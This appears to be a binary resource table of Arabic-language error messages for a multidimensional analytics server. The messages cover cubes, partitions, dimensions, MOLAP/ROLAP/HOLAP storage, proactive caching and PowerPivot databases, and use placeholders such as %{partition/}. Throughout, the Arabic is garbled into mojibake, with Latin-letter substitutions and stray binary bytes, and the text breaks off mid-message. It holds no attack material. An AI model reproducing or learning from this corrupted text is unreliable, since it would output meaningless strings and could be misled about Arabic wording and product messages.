BP(D (O9/ *5EJE 'D*,EJ9 '%{aggdesigndimension/}' :J1 EH,H/).zD' J*7'(B *5EJE 'D*,EJ9 0H 'DE91QA '%{aggdesignid/}' 'D.'5 ('DB3E %{partition/} E9 *5EJE *,EJ9 EH,H/ AJ E,EH9) 'DEB'JJ3.?*9/ E,EH9) 'DEB'JJ3 'D#5D '%{partition/}' E,EH9) EB'JJ3 E1*(7).ZE91QA E5/1 'D(J'F'* 'D(9J/ '%{remotedatasourceid/}' 'D.'5 ('DB3E '%{partition/}' :J1 5'D-.U%E' #F 'DB3E '%{partition/}' GH B3E MOLAP #H HOLAP DCFG D' J-*HJ 9DI #J #(9'/ MOLAP.�J9/ 'DB3E %{partition/} B3EK' (9J/K', HDCF 'DB3E J-*HJ 9DI (O9/ ROLAP #H (O9/ HB'&J *E *.2JFG *.2JFK' E$B*K' J3EI '%{dimension/}'.r%E' #F 'DB3E %{partition/} GH B3E ROLAP #H B3E HB'&J *E *.2JFG *.2JFK' E$B*K' HD' JECF #F J-*HJ 9DI 1H'(7 .'1,J).4%E' #F E5/1 'DB3E '%{partition/}' EABH/ #H :J1 5'D-.EHB9 'D*.2JF '%{storagelocation/}' 'D.'5 ('DB3E %{partition/} :J1 EH,H/, #H 7HJD DD:'J), #H J-*HJ 9DI #-1A :J1 5'D-) #H E-,H2).]D' JECF #F J-*HJ 'DB3E 'D0J *E *ECJF 'DC*'() DG %{partition/} 9DI *.2JF E$B* HB'&J *E *4:JDG.bJ,( #F J-*HJ E5/1 'D(J'F'* 'D(9J/ %{remotedatasource/} 9DI C*'DH, 51J- AJ 3D3D) 'D'*5'D 'D.'5) (G.ZD' JECF #F J4J1 E5/1 'D(J'F'* 'D(9J/ %{remotedatasource/} E1) #.1I %DI FA3 B'9/) 'D(J'F'*._J4J1 E5/1 'D(J'F'* 'D(9J/ %{remotedatasource/} %DI B'9/) (J'F'* D' *-*HJ 9DI E5/1 (J'F'* 1&J3J.eJ,( #F J-*HJ E5/1 'D(J'F'* 'D1&J3J '%{masterdatasource/}' 9DI C*'DH, 51J- AJ 3D3D) 'D'*5'D 'D.'5) (G.OD' JECF #F JCHF E5/1 'D(J'F'* 'D1&J3J '%{masterdatasource/}' E1,9JK' (4CD 0'*J.jJ4J1 E5/1 'D(J'F'* 'D#3'3J '%{masterdatasource/}' %DI B'9/) (J'F'* D' JECF #F *-*HJ 9DI E5/1 (J'F'* 1&J3J.�D' *3E- Analysis Services (#F JB9 EHB9 'D*.2JF '%{storagelocation/}' 'D.'5 ('DB3E '%{partition/}' 6EF /DJD (J'F'* 'D.'/E. H**E+D #(37 'D71B D%5D'- G0G 'DE4CD) AJ *9JJF 'D*.7J7 'D5-J- DEHB9 *.2JF 'DB3E AJ 'D#E1 '%{command/}'.oD' JECF *-/J/ EHB9 'DE,D/ '%{storagelocation/}' ('DEHB9 AJ 'D#E1 "'3*9'/)" #H "E2'EF)") 6EF /DJD (J'F'* 'D.'/E.KJ,( #F J-*HJ 'DB3E '%{partition/}' 'D0J *E *ECJF 'DC*'() DG 9DI 1(7 'D,/HD.7J-*HJ 'DEBJ'3 '%{measure/}' 9DI E5/1 :J1 5'D- #H EABH/.e:J1 E3EH- DE,EH9) EB'JJ3 '%{detail/}' (#F J*E *ECJF 'DC*'() DG' AJ -'D) *,EJ9 #J EBJ'3 (.D'A 'DE,EH9.k:J1 E3EH- DE,EH9) 'DEB'JJ3 '%{detail/}' (#F J*E *ECJF 'DC*'() DG' %0' HO,P/ #J EBJ'3 E1*(7 (9EH/ :J1 E9JQF.�D' J,( #F *-*HJ 'D3E) '%{attrib/}' 0'* IsAggregatable=false 9DI #J) 9D'B) ('D3E) '%{relattrib/}' 'D*J *-*HJ 9DI AttributeHierarchyEnabled=true.kD' JECF *-/J/ EHB9 *.2JF '%{storagelocation/}' 'D.'5 (B'9/) 'D(J'F'* '%{database/}' 6EF /DJD (J'F'* 'D.'/E.�D' JECF 'D9+H1 9DI 3E) AJ 'DEC9( 'DE5/1 '%{srccube/}' 'D0J J*7'(B E9 'D3E) '%{attrib/}' AJ 'D(O9/ '%{dim/}' 'D.'5 ('DEC9( '%{cube/}', #H #FG *E *97JD 'D*3D3D 'DGJCDJ DD3E'* AJ 'DEC9( 'DE5/1.('3*./'E E,EH9'* 'DEB'JJ3 'DE1*(7), J,( #F *4J1 #(9'/ 'DEC9( 'DEH,H/) 9DI CD ,'F( EF 'D'1*('7 %DI FA3 #(9'/ B'9/) 'D(J'F'*. D' J4J1 (O9/ 'DEC9( '%{dim/}' 'D.'5 ('DEC9( '%{cube/}' %DI FA3 (O9/ B'9/) 'D(J'F'* ('9*('1G (O9/ 'DEC9( AJ 'DEC9( 'DE5/1 '%{srccube/}'.PA�D' J*H'AB E91QA E5/1 'D(J'F'* '%{datasourceid/}' 'D.'5 (71JB) 916 E5/1 'D(J'F'* '%{datasourceview/}' E9 E5/1 (J'F'* EH,H/ AJ B'9/) 'D(J'F'*.-J-*HJ 'DEBJ'3 '%{measure/}' 9DI 1(7 :J1 5'D-.V*E* E5'/A) E4CD'* 9F/ E-'HD) B1'!) EDA *91JA 'D**(9 '%{fname/}'. B/ JCHF 'DEDA *'DAK'.�*-*HJ 'D3E) 'DEFA5D) 0'* 'DE91QA '%{propertyId/}', ('D'3E '%{propertyName/}' AJ 'D(O9/ '%{dimension/}' 9DI 9EH/ '3E #H 1(7 *1,E) E9 FormatString :J1 5'D-. HJ,( #F J-*HJ FormatString 9DI 'D*F3JB 'D*'DJ: FirstBucketFormat;MidBucketFormat�*-*HJ 'D3E) 'DEFA5D) '%{property/}' AJ 'D(O9/ '%{dimension/}' 9DI 1(7 *1,E) #H 1(7 '3E (G E-// :J1 E91HA AJ 'DEB79 '%{segment/}' FormatString.J'D(O9/ '%{strRef/}' 'DE4'1 %DJG EF BP(D %0F 'DEC9( '%{strObj/}' :J1 EH,H/.P3E) 'D(O9/ '%{strRef/}' 'DE4'1 %DJG' EF BP(D %0F 'D(O9/ '%{strObj/}' :J1 EH,H/).P3E) 'D(O9/ '%{strRef/}' 'DE4'1 %DJG' EF BP(D %0F 'D(O9/ '%{strObj/}' :J1 EH,H/).0DE J*E 'D9+H1 9DI 'DEC9( 'DE5/1 DFEH0, ,E9 OLAP.wDE J*E 'D9+H1 %E' 9DI 'DEC9( 'DE5/1 #H (O9/ B'9/) 'D(J'F'* 0H 'DE91QA '%{dimensionId/}' D(FJ) ,E9 '%{structure/}' OLAP.YDE J*E 'D9+H1 9DI E,EH9) EB'JJ3 'DE5/1 '%{measuregroup/}' D(FJ) ,E9 '%{structure/}' OLAP.!DE J*E 'D9+H1 9DI 'D'*5'D 'DE-//.%DE J*E 'D9+H1 9DI ,D3) 'D9ED 'DE-//).4D' J-*HJ FEH0, 'D,E9 '%{miningmodel/}' 9DI #J #9E/).XJ,( #F J-*HJ FEH0, 'D,E9 '%{miningmodel/}' 9DI 'D#BD 9DI 9EH/ H'-/ EF :J1 #9E/) 'DEA*'-.�3J*E *97JD 'DE9'D,) DB'9/) 'D(J'F'* F81K' D-/H+ .7# #+F'! *-EJD EA*'- *4AJ1 B'9/) 'D(J'F'* '%{strRef/}'. EF 'D#3('( 'DE-*ED) DG0' 'D.7# *:J1 -3'( 'D./E).�A4D *4AJ1 'D(J'F'* 'D-3'3) #H A4D AC *4AJ1G' AJ B'9/) 'D(J'F'* '%{strRef/}' D#F EA*'- 'D*4AJ1 :J1 E*HA1. EF 'D#3('( 'DE-*ED) -/H+ *:JJ1 :J1 ED'&E AJ -3'( 'D./E).cA4D 'DH5HD %DI EA*'- *4AJ1 'D.'/E 'D1&J3J. EF 'D#3('( 'DE-*ED) -/H+ *:JJ1 :J1 ED'&E AJ -3'( 'D./E).�'D(O9/ '%{strRef/}' 'DE4'1 %DJG EF BP(D %0F 'DEC9( '%{strObj/}' J-*HJ 9DI "%0F C*'()" *E *9JJFG %DI "E3EH- (G" D0' D' JECF *9JJF #J #0HF'* 3E) %DI "E3EH- (G/E1AH6".3-/+ .7# #+F'! *9JJF 'DBJE) D.'5J) 'D*CHJF '%{id/}'.8-/+ .7# #+F'! 'D-5HD 9DI 'DBJE) D.'5J) 'D*CHJF '%{id/}'.�D' JECF *,EJ9 'D3E) ('DE91QA '%{propertyid/}' ('D'3E '%{propertyname/}' 'DE4'1 %DJG EF BP(D (O9/ 'D*,EJ9 %{aggregationdimension/} EF 3E) 'DFB'H) '%{granularityprop/}' 'D.'5) (E,EH9) 'DEB'JJ3.�'D3E) '%{property/}' 'DE4'1 %DJG' EF BP(D (O9/ 'D*,EJ9 %{aggregationdimension/} 'D.'5 ('D*,EJ9 '%{aggregation/}' :J1 B'(D) DD'3*91'6.RD' JBHE E5/1 'D(O9/ '%{dimension/}' (*7(JB 'DBJH/ 'DE7DH() DD*.2JF 'DE$B* 'DHB'&J.VD' JECF %F4'! E,EH9) 'DEB'JJ3 '%{name/}' F81K' DH,H/ (O9/ ('DA9D (FA3 'D'3E AJ 'DEC9(.fD' J-*HJ C'&F 'D*.2JF 'DE$B* 'DHB'&J 'D.'5 ('D(O9/ '%{dimension/}' ROLAP 9DI %9/'/'* AJ 'DHB* 'D-BJBJ.eD' J-*HJ C'&F 'D*.2JF 'DE$B* 'DHB'&J 'D.'5 ('DB3E '%{partition/}' ROLAP 9DI %9/'/'* AJ 'DHB* 'D-BJBJ.eD' J-*HJ C'&F 'D*.2JF 'DE$B* 'DHB'&J 'D.'5 ('DB3E '%{partition/}' HOLAP 9DI %9/'/'* AJ 'DHB* 'D-BJBJ.�D' J-*HJ C'&F 'D*.2JF 'DE$B* 'DHB'&J 'D.'5 ('D(O9/ '%{dimension/}' MOLAP 9DI E/) FG'&J) DA'5D 'D5E* #H A'5D *,'H2 'D5E* #H A16 %9'/) %F4'! 'DA'5D.�D' J-*HJ C'&F 'D*.2JF 'DE$B* 'DHB'&J 'D.'5 ('D(O9/ '%{partition/}' MOLAP 9DI E/) FG'&J) DA'5D 'D5E* #H A'5D *,'H2 'D5E* #H %,('1 %9'/) %F4'! 'DA'5D.^D' J-*HJ C'&F 'D*.2JF 'DE$B* 'DHB'&J 'D.'5 ('D(O9/ '%{partition/}' HOLAP 9DI A'5D FG'&J DD5E*.�J-*HJ 'D(O9/ '%{dimension/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DDE9'D,) 'D*2'J/J) %D' #FG DE J*E *-/J/ C'A) 'D,/'HD 'DE7DH() EF BP(D 'D(O9/.�J-*HJ 'DB3E '%{partition/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DDE9'D,) 'D*2'J/J) %D' #FG DE J*E *-/J/ C'A) 'D,/'HD 'DE7DH() EF BP(D 'DB3E.�J-*HJ 'D(O9/ '%{dimension/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DDE9'D,) 'D*2'J/J). J*7D( G0' 'D%9/'/ #F JCHF 'D(O9/ GH MOLAP H'D0J :J1 EH,H/ -'DJK'.�J-*HJ 'DB3E '%{partition/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DDE9'D,) 'D*2'J/J). J*7D( G0' 'D%9/'/ #F JCHF 'DB3E GH MOLAP HDCF DE J*E *9JJF 'DB3E %DI MOLAP.PA~A4D* E9'D,) 'D.DAJ) D@ '%{name/}' %{typename/}. 3**E %9'/) E-'HD) 'DE9'D,) HABK' DBJE) *CHJF 'D.'/E LazyProcessing\MaxRetries.�J-*HJ 'D(O9/ '%{dimension/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DH69 'D'*5'D OnCacheComplete. HJ*7D( G0' 'D%9/'/ #F J-*HJ 'D(O9/ 9DI 2EF 'F*B'D D' FG'&J HDCF 'D(O9/ D' J-*HJ -'DJK' 9DI 2EF 'F*B'D D' FG'&J.�J-*HJ 'DB3E '%{partition/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DH69 'D'*5'D OnCacheComplete. HJ*7D( G0' 'D%9/'/ #F J-*HJ 'DB3E 9DI 2EF 'F*B'D D' FG'&J HDCF 'DB3E D' J-*HJ -'DJK' 9DI 2EF 'F*B'D D' FG'&J.\J1,9 'D96H 'D'A*1'6J DD#E'F '%{defmb/}' EF 'D3E) '%{attribute/}' F*J,) EF *3D3D GJCDJ E.*DA.�J-*HJ 'D(O9/ '%{dimension/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DA16 %9'/) 'D%F4'!. HJ*7D( G0' 'D%9/'/ #F J-*HJ 'D(O9/ 9DI 2EF 'F*B'D D' FG'&J HDCF 'D(O9/ D' J-*HJ 9DI 2EF 'F*B'D D' FG'&J.�J-*HJ 'DB3E '%{partition/}' 9DI *.2JF E$B* HB'&J *E *ECJFG DA16 %9'/) 'D%F4'!. HJ*7D( G0' 'D%9/'/ #F J-*HJ 'DB3E 9DI 2EF 'F*B'D D' FG'&J HDCF 'DB3E D' J-*HJ 9DI 2EF 'F*B'D D' FG'&J.OJ9/ 'D%,1'! '%{action/}' %,1'! DrillThrough D' J/9E 'DFH9 'DG/A 'D0J *E *HAJ1G./J,( #F J-*HJ '3E 'DEDA 'D.'5 ('D*,EJ9 9DI ED-B.9%E' #F E5/1 (FJ) 'D,E9 '%{structure/}' EABH/ #H :J1 5'D-.zD' J*7'(B E91QA E5/1 'D(J'F'* '%{datasourceid/}' 'D.'5 ((FJ) 'D,E9 '%{structure/}' E9 E5/1 (J'F'* EH,H/ AJ B'9/) 'D(J'F'*.<*-*HJ (FJ) 'D,E9 '%{structure/}' 9DI 1(7 (O9/ EC9( :J1 5'D-.7*-*HJ (FJ) 'D,E9 '%{structure/}' 9DI 1(7 (O9/ :J1 5'D-.)'3E 'DEDA 'D.'5 ('D,E9 EABH/ HJ,( *HAJ1G..D' JECF *9/JD *,EJ9 'DF8'E EF BP(D 7D( E3*./E.PAM'DED-B 'DE-// DEDA 'D**(9 '%{fname/}' :J1 5'D-. J,( #F JCHF 'DED-B GH 'trc.'.�J,( *6EJF 'D3E) '%{property/}' AJ C'A) 'D*,EJ9'* D#F G0G 'D3E) :J1 B'(D) D%9'/) 'D*,EJ9. HE9 0DC, D' J4*ED (O9/ 'D*,EJ9 '%{aggregationdimension/}' 9DI G0G 'D.'5J).�J,( *6EJF 'D(O9/ '%{dimension/}' AJ C'A) 'D*,EJ9'* D#F G0' 'D(O9/ J-*HJ 9DI 3E'* :J1 B'(D) D%9'/) 'D*,EJ9. HE9 0DC, D' J4*ED 'D*,EJ9 '%{aggregation/}' 9DI G0G 'D.'5J).�D' J-*HJ E91QA 'D-/+=%d{EventId/} 9DI E91QA 'D9EH/=%d{ColId/}. J1,I E1',9) H+'&B 'DEF*, DD-5HD 9DI B'&E) (#9E/) 'D#-/'+ 'DE*HA1).<*E ('DA9D *-/J/ 9EH/ 'D-/+ %d{eventid/} DD-/+ %d{columnid/}.�D' JECF %F4'! 'DC'&F '%{objectname/}' ('9*('1G C'&F ,D3) 9ED. JECF AB7 '3*./'E F7'B ,D3) 'D9ED 9F/ %F4'! #(9'/ #H EC9('* #H (FI ,E9 #H FE'0, ,E9.rD' JECF %F4'! 'DEC9( '%{cube/}' ('9*('1G C'&F ,D3) 9ED D#F E,EH9) 'DEB'JJ3 '%{detail/}' 'D.'5) ('DEC9( :J1 E1*(7).WA4D 'D.'/E AJ %F4'! ,/HD) DDE9'D,) 1(E' (3(( -/H+ *:JJ1'* AJ (J'F'* 'D*91JA 'DE*2'EF).9A4D 'D.'/E AJ %F4'! ,/HD) DDE9'D,) (3(( *C1'1 *(9J) C'&F.�E5/1 'D(J'F'* '%{datasourceid/}' 'DE-// AJ DSV 'DE5/1 D@ '%{datasourceview/}' 'D.'5 ((9/ ,E9 'D(J'F'* '%{dimension/}' :J1 5'D-. J,( #F J4J1 E5/1 'D(J'F'* 'DE-// %DI B'9/) 'D(J'F'* 'D-'DJ) ('.').YJ-*HJ 'D(O9/ '%{dimension/}' 9DI 3E) *E A5DG' H('D*'DJ D' JECF *ECJF 'DC*'() 'D.DAJ) DG'.qJ-*HJ 'DEBJ'3 '%{measure/}' 9DI E5/1 EF FH9 RowBinding. H('D*'DJ J,( *:JJ1 FH9 'D*,EJ9 'D.'5 (G %DI Count #H Sum.�J-*HJ 'D(O9/ '%{object/}' 9DI *.2JF E$B* HB'&J *E *ECJFG ('3*./'E %9D'E SQL H('D*'DJ D' JECF #F JCHF E5/1G 9('1) 9F '3*9D'E E3EI.zJ-*HJ 'DB3E '%{object/}' 9DI *.2JF E$B* HB'&J *E *ECJFG ('3*./'E %9D'E SQL. H('D*'DJ D' JECF #F JCHF E5/1G '3*9D'EK' E3EI.lJ-*HJ 'D(O9/ '%{object/}' 9DI *.2JF E$B* HB'&J *E *ECJFG. H('D*'DJ D' JECF #F JCHF E5/1G E5/1 (J'F'* (9J/K'.kJ-*HJ 'DB3E '%{object/}' 9DI *.2JF E$B* HB'&J *E *ECJFG. H('D*'DJ D' JECF #F JCHF E5/1G E5/1 (J'F'* (9J/K'.PA[A4D 'D.'/E AJ %F4'! ,/HD) DDE9'D,) (3(( *:JJ1'* AJ 'D13E 'D(J'FJ D(J'F'* 'D*91JA 'DE*2'EF).?D' J-*HJ 'DB3E '%{partition/}' 9DI 71JB) 916 E5/1 (J'F'* 5'D-).=D' JECF -0A 'D96H D#FG D' JECF FBD (J'F'*G %DI 96H :J1 E91HA.*D' JECF #F JCHF ED-B EDA LOG %D' LOG. AB7.wD' JECF #F *-*HJ 'D.'5J) %{relatedpropertyname/}, 'DE1*(7) (.'5J) 'DEA*'- %{property/}, 9DI FH9 9D'B) *E *9JJFG %DI (D'4J*E /9E 9EDJ) 'D*#EJF AB7 9DI C'&F'* BH'9/ 'D(J'F'*.�**E 'D%4'1) %DI 'D3E) :J1 'DB'(D) DD*,EJ9 '%{attribute/}' AJ 'D(O9/ '%{dimension/}' EF BP(D 3E) 'DEC9( '%{property/}' EF (O9/ 'DEC9( '%{dimension/}', 'D0J D/JG '3*./'E 'D*,EJ9 "EE*D&".t'DB3E 0H 'DE91QA '%{partitionID/}' ('D'3E '%{partitionName/}' 9('1) 9F B3E 9'/J HD' JECF *-HJDG %DI B3E C*'() .DAJ).?D' J-*HJ 'DB3E 'D(9J/ '%{partition/}' 9DI *.2JF E$B* *E *ECJFG.D' JECF %F4'! E,EH9) 'DEB'JJ3 'D9'/J) '%{detail/}' F81K' D#FG' *3*./E 'D(O9/ 'DE1*(7 '%{dimension/}' H'D0J *E *9JJF 'D.'5J) 'UnknownMember' 'D.'5) (G %DI '(D''. HD' *3*7J9 E,EH9) 'DEB'JJ3 'D9'/J) %D' '3*./'E (O9/ E1*(7 *E *9JJF .'5J) '96H :J1 E91HA' 'D.'5) (G %E' %DI 'E.AJ' #H 'E1&J'.�J9/ (O9/ 'DE1,9 '%{dimension/}' 'DE-// AJ E,EH9) 'DEB'JJ3 '%{detail/}' 'D.'5) ('DEC9( '%{cube/}' :J1 5'D- D#FG E,3E HJ3*./E 'D(O9/ 'D2EFJ DD.'/E. HD' JECF #F JCHF D(O9/ 'DE1,9 'DE,3E (9/ 2EFJ DD.'/E C(O9/ H3J7.'*-*HJ CD EF #(9'/ cube 'DEC9( '%{cubedimension2/}' H'%{cubedimension1/}' 'D.'5) ('DEC9( cube '%{cube/}' 9DI *3D3D GJCDJ J3EI '%{cubehierarchy/}'. HD' JECF #F *-*HJ G0G 'D#(9'/ 9DI *3D3D GJCDJ (FA3 'D'3E D#FG *E *9JJF 'D.'5J) HierarchyUniqueNameStyle 'D.'5) (CD' 'D(9/JF %DI ExcludeDimensionName.�J9/ (O9/ 'DE1,9 '%{dimension/}' 'DE-// AJ E,EH9) 'DEB'JJ3 '%{detail/}' 'D.'5) ('DEC9( '%{cube/}' :J1 5'D- D#FG (O9/ 2EFJ DD.'/E. HD' JECF #F JCHF (O9/ 'DE1,9 (9/K' 2EFJK' DD.'/E.f*901 -D E5/1 'D(J'F'* DDB3E '%{partition/}'. HB/ *E *HAJ1 C'&F'* .'1,J). D0' J1,I 'D*-BB EF *91JA'*G'.p*901 -D 71JB) 916 E5/1 'D(J'F'* DDB3E '%{partition/}'. HB/ *E *HAJ1 C'&F'* .'1,J). D0' J1,I 'D*-BB EF *91JA'*G'.q*901 -D 71JB) 916 E5/1 'D(J'F'* DD(O9/ '%{dimension/}'. HB/ *E *HAJ1 C'&F'* .'1,J). D0' J1,I 'D*-BB EF *91JA'*G'.PAV*9/ B'9/) 'D(J'F'* 0'* 'D'3E '%{name/}', H'DE91QA '%{id/}' DDB1'!) AB7 HD' JECF -0AG'.�JF*EJ %{typename/} 0H 'D'3E '%{name/}', H'DE91QA '%{id/}' %DI B'9/) (J'F'* DDB1'!) AB7 ('D'3E '%{db_name/}', H'DE91QA '%{db_id/}' HD' JECF -0AG'.�D' JECF *FAJ0 'D(J'F '%{dialect/}' F81K' D#FG J-'HD *9/JD E-*HJ'* B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF E9'D,) %{typename/} 0J 'DE91QA '%{id/}', H'D'3E '%{name/}' F81K' D#FG JF*EJ %DI B'9/) (J'F'* DB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF 'DC*'() AHB %{typename/} 0J 'DE91QA '%{id/}', H'D'3E '%{name/}' F81K' D#FG JF*EJ %DI B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF *FAJ0 'D#E1 Create F81K' D#FG J-'HD %F4'! C'&F AJ B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF *(/JD %{typename/} 0J 'DE91QA '%{id/}', H'D'3E '%{name/}' F81K' D#FG JF*EJ %DI B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) DD(O9/ F81K' D#FG' *-'HD *9/JD 'DE-*HJ'* 'D.'5) (B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF *FAJ0 9EDJ) /E, 'D#B3'E F81K' D#FG' *-'HD *9/JD 'DE-*HJ'* 'D.'5) (B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF *FAJ0 9EDJ) *5EJE 'D*,EJ9 F81K' D#FG' *-'HD *9/JD 'DE-*HJ'* 'D.'5) (B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.�D' JECF *FAJ0 9EDJ) E9'ED) 'D'D*2'E F81K' D#FG' *-'HD *9/JD 'DE-*HJ'* 'D.'5) (B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.XD' JECF #F *-*HJ B'9/) 'D(J'F'* 9DI EHB9 *.2JF E.55 F81K' D#FG' *F*EJ %DI EDA EC9( E-DJ.�D' JECF *FAJ0 'D9EDJ) F81K' D#F E,D/ B'9/) 'D(J'F'* '%{dir_name/}' 'D.'5 (B'9/) 'D(J'F'* 'D*J *-ED 'D'3E '%{db_name/}' 'DE91A '%{db_id/}' EH,H/ ('DA9D.�D' JECF *FAJ0 'D9EDJ) F81K' D#F E,D/ B'9/) 'D(J'F'* '%{dir_name/}' 'D.'5 (B'9/) 'D(J'F'* 'D*J *-ED 'D'3E '%{db_name/}' 'DE91A '%{db_id/}' EH,H/ ('DA9D.Y*9/ B'9/) 'D(J'F'* 0'* 'D'3E '%{name/}', H'DE91QA '%{id/}' DDB1'!) AB7 HD' JECF E9'D,*G'.wD' JECF %F4'! B'9/) 'D(J'F'* #H *(/JDG' -J+ %F 'D*91JA 'D.'5 (G' J-*HJ 9DI *(9J) /'&1J) (JF 'DEC9('* 'D9'/J) H'DE1*(7).�**7D( %9/'/'* 0'C1) 'D*.2JF 'DE$B* 'DHB'&J) DD(O9/ 'D#5D-'D*'(9 '%{dimension/}' H,H/ 2EF 'F*B'D D' FG'&J HH69 '*5'D D@ OnCacheComplete.�D' JECF *FAJ0 'D9EDJ) F81K' D#F B'9/) 'D(J'F'* 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}' EH,H/) ('DA9D AJ 'D-'D) 'DEFA5D) AJ 'DE,D/ '%{dir_name/}'. A%E' #F *BHE (%1A'B B'9/) 'D(J'F'* #H -0A 'DE,D/ H%9'/) 'D9EDJ) E1) #.1I.�DE J*E %F4'! C'&F (J'F'* PowerPivot 'DE3EI '%{name/}', EF 'DFH9 '%{typename/}', HDE J*E *-EJDG D#FG *E *9JJF .'5J) *CHJF StorageEngineMode configuration %DI '*BDJ/J' DB'9/) 'D(J'F'* '%{db_name/}'.]D' JECF %F4'! C'&F'* #H *-EJDG' AJ B'9/) 'D(J'F'* '%{name/}' D#F 'D.'/E D' J9ED AJ H69 ,/HDJ.}D' JECF *9JJF .'5J) StorageEngineMode 'D.'5) (B'9/) 'D(J'F'* '%{name/}' %DI 'InMemory' 9F/E' D' JCHF 'D.'/E AJ 'DH69 ,/HDJ.�D' JECF *FAJ0 9EDJ) 'D'D*2'E F81K' D#FG' *-'HD *,3JE 9EDJ'* 'DC*'() 'D.DAJ) DD.DJ) H*9/JD 'DE-*HJ'* 'D.'5) (B'9/) (J'F'* DDB1'!) AB7 0'* 'D'3E '%{db_name/}', H'DE91QA '%{db_id/}'.ND' JECF *97JD 'D*3D3D 'DGJCDJ DD3E) 'D#5D `%{attr/}' 'D.'5) ('D(O9/ `%{dim/}'.KJECF '3*./'E 'EH,2 (J'F'*' AB7 9F/E' *9ED Analysis Services AJ 'DH69 ,/HDJ.pD' JECF *9JJF .'5J) UnknownMember 'D.'5) ('D(O9/ '%{name/}' %DI 'AutomaticNull' E' DE JCF 'D.'/E AJ 'DH69 ,/HDJ.LD' *9/ Preserve BJE) NullProcessing 5'D-) DEBJ'3 'D9// 'DEEJ2 '%{measure/}'.MD' J*E /9E .A6 E3*HI 'D*H'AB 'D.'5 (B'9/) (J'F'*. B'9/) 'D(J'F'*: '%{name/}'.�'DBJE) 'DE-//) D@ StringStoresCompatibilityLevel :J1 5'D-). *-*HJ B'9/) 'D(J'F'* '%{name/}' 9DI E3*HI *H'AB J(D: '1050'. *BHE BH'9/ 'D(J'F'* 9F/ G0' 'DE3*HI AB7 (/9E BJE) *(D:  '1050' DD.'5J) StringStoresCompatibilityLevel.u%F DimensionId '%{relenddimensionid/}' 'D.'5 (@ FromRelationshipEnd D' J*7'(B E9 DimensionId '%{dimensionid/}' 'D#5D.�*-*HJ RelationshipEnd 0'* role "'D/H1" '%{role/}' 6EF dimension "'D(O9/" '%{dimensionname/}' 9DI BJE) multiplicity "*9//" :J1 5'D-). D' */9E BH'9/ 'D(J'F'* 'D*J JBD E3*HI 'D*H'AB 'D.'5 (G' 9F 1200 %D' 9D'B'* H'-/ D#C+1.�J*9JF 9DI RelationshipEnd 0'* role 'D/H1 '%{role/}' 6EF dimension 'D(O9/ '%{dimensionname/}' #F *-*HJ 9DI 3E) attribute H'-/) AB7.�'D/H1 '%{role/}' D@ RelationshipEnd :J1 5'D- D#F G0' 'D'3E 9('1) 9F CDE) E-,H2) #H J-*HJ 9DI -1A H'-/ #H #C+1 EF 'D#-1A :J1 'D5'D-) (%{invalidchars/}) #H J*,'H2 7HDG 100 -1A.PAMJ-*HJ 'D(O9/ '%{dimname/}' 9DI 9D'B*JF E*7'(B*JF: '%{relid1/}' H'%{relid2/}'.SJ-*HJ 'D(O9/ '%{dimname/}' 9DI 9D'B) %DI FA3G: '%{relid/}' 'D0J J9*(1 :J1 E3EH- (G.qJ-*HJ 'D(O9/ '%{dimname/}' 9DI 9D'B*JF (FA3 '3E 'D/H1 ToRelationshipEnd: '%{rolename/}' 'D0J J9*(1 :J1 E3EH- (G.gD' JECF #F J-*HJ 'D(O9/ '%{dimname/}' 9DI C'&F 9D'B) 9F/E' JCHF E3*HI *H'AB B'9/) 'D(J'F'* #BD EF 1100.k-/+ .7# J-ED 'D1E2 '%{error/}' #+F'! %F4'! E+JD DC'&F (J'F'* *91JA B'9/) (J'F'* EF 'DEDA '%{filename/}'. HG0' 'D.7# D' JECF %5D'-G D0' *E %JB'A 'D./E). JO1,I %5D'- 'DE4CD) H%9'/) *4:JD 'D./E). %0' DE JCF EF 'DEECF %5D'- 'DE4CD) AJ1,I -0A G0' 'DEDA H#J /DJD E7'(B DG DG FA3 '3E 'DB'9/) ('3*+F'! ED-B 'DEDA %0' C'F #-/ 'DED-B'* EH,H/K' AJ 'D/DJD '%{directory/}'.,-/+ .7# 9F/ %F4'! E+JD DC'&F (J'F'* *91JA *,EJ9 .'/E EF 'DEDA, '%{filename/}'. HG0' 'D.7# :J1 B'(D DD'3*9'/) HB/ *E %JB'A 'D./E). JO1,I %5D'- 'DE4CD) H%9'/) *4:JD 'D./E). %0' C'F 'D%5D'- :J1 EECF AJ1,I -0A 0DC 'DEDA ('D%6'A) %DI 'D/DJD 'DE*7'(B 0J FA3 'D'3E H0DC %0' C'F EH,H/K' 6EF '%{directory/}'.%-/+ .7# 9F/ %F4'! E+JD C'&F (J'F'* *91JA **(9 EF 'DEDA, '%{filename/}'. HG0' 'D.7# :J1 B'(D DD'3*9'/) HB/ *E %JB'A 'D./E). JO1,I %5D'- 'DE4CD) H%9'/) *4:JD 'D./E). %0' C'F 'D%5D'- :J1 EECF AJ1,I -0A 0DC 'DEDA ('D%6'A) %DI 'D/DJD 'DE*7'(B 0J FA3 'D'3E H0DC %0' C'F EH,H/K' 6EF '%{directory/}'.*-/+ .7# 9F/ %F4'! E+JD DC'&F 